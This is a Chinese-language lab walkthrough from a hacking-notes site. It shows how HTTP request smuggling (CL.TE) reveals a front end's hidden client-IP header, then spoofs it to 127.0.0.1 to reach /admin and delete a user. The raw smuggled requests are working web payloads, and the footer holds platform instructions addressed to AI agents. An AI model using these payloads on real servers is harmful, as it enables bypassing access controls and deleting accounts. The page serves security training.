> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/discovery-of-rewriting-by-the-front-end.md).

# 发现前端重写

### 利用 HTTP 请求走私揭示前端请求重写

该站点基于一个前端服务器和一个后端服务器。前端\*\*不接受分块编码\*\*。/ 访问管理面板 /admin 的权限仅保留给来自 **127.0.0.1**. / 在将请求转发到后端之前，前端\*\*会添加一个包含客户 IP 地址的自定义头部\*\*。这种行为看起来像经典的 X-Forwarded-For，但头部名称不同。

目标有两个：

1. **发起一个请求** 以揭示前端添加的这个头部的名称。
2. **发送一个走私的** 包含此头部的查询，并将其强制设为 127.0.0.1，以访问管理面板并删除 carlos 用户。

<figure><img src="/files/885996c432006d3ae82caf82bd4a1e924ceb05f2" alt=""><figcaption></figcaption></figure>

#### **行为分析**

* 在搜索参数中发送的字段会在响应中返回，这表明我们可以用它来观察注入效果。
* 发送：

```http
Content-Length: 5
Transfer-Encoding: chunked

0


```

请求被无错误地处理（200 OK），这确认了 **前端会解析 Content-Length**，而 **后端会忽略 Transfer-Encoding**.

* 当走私额外的 POST 请求时：

```http
Content-Length: 55
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 13

search=test
```

多余的字节（这里，

* 通过将 Content-Length 增加到 125，响应会暴露前端添加的头部。/ 这个头部是：

```http
Content-Length: 125
```

<figure><img src="/files/e6fa84cce6f0d801d3d246120f4ffd0e9e8cf7eb" alt=""><figcaption></figcaption></figure>

<sub>X-KwWCmS-Ip</sub>

<figure><img src="/files/331cc7a4f456b76aa260163f4293f469a185e12e" alt=""><figcaption></figcaption></figure>

#### **访问管理面板**

通过伪造一个走私查询，并将此头部强制设为 **127.0.0.1**，你就可以访问 /admin：

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

<figure><img src="/files/6e0ff836dcbf111fc2bc0d76b4cadb1be82cfa80" alt=""><figcaption></figcaption></figure>

#### **删除 Carlos 用户**

第二个走私查询允许你直接调用删除端点：

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Transfer-Encoding: chunked

0

POST /admin/delete?username=carlos HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

随后，通过后端删除了 carlos 用户，使其看起来像是一条经过授权的内部请求。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/discovery-of-rewriting-by-the-front-end.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
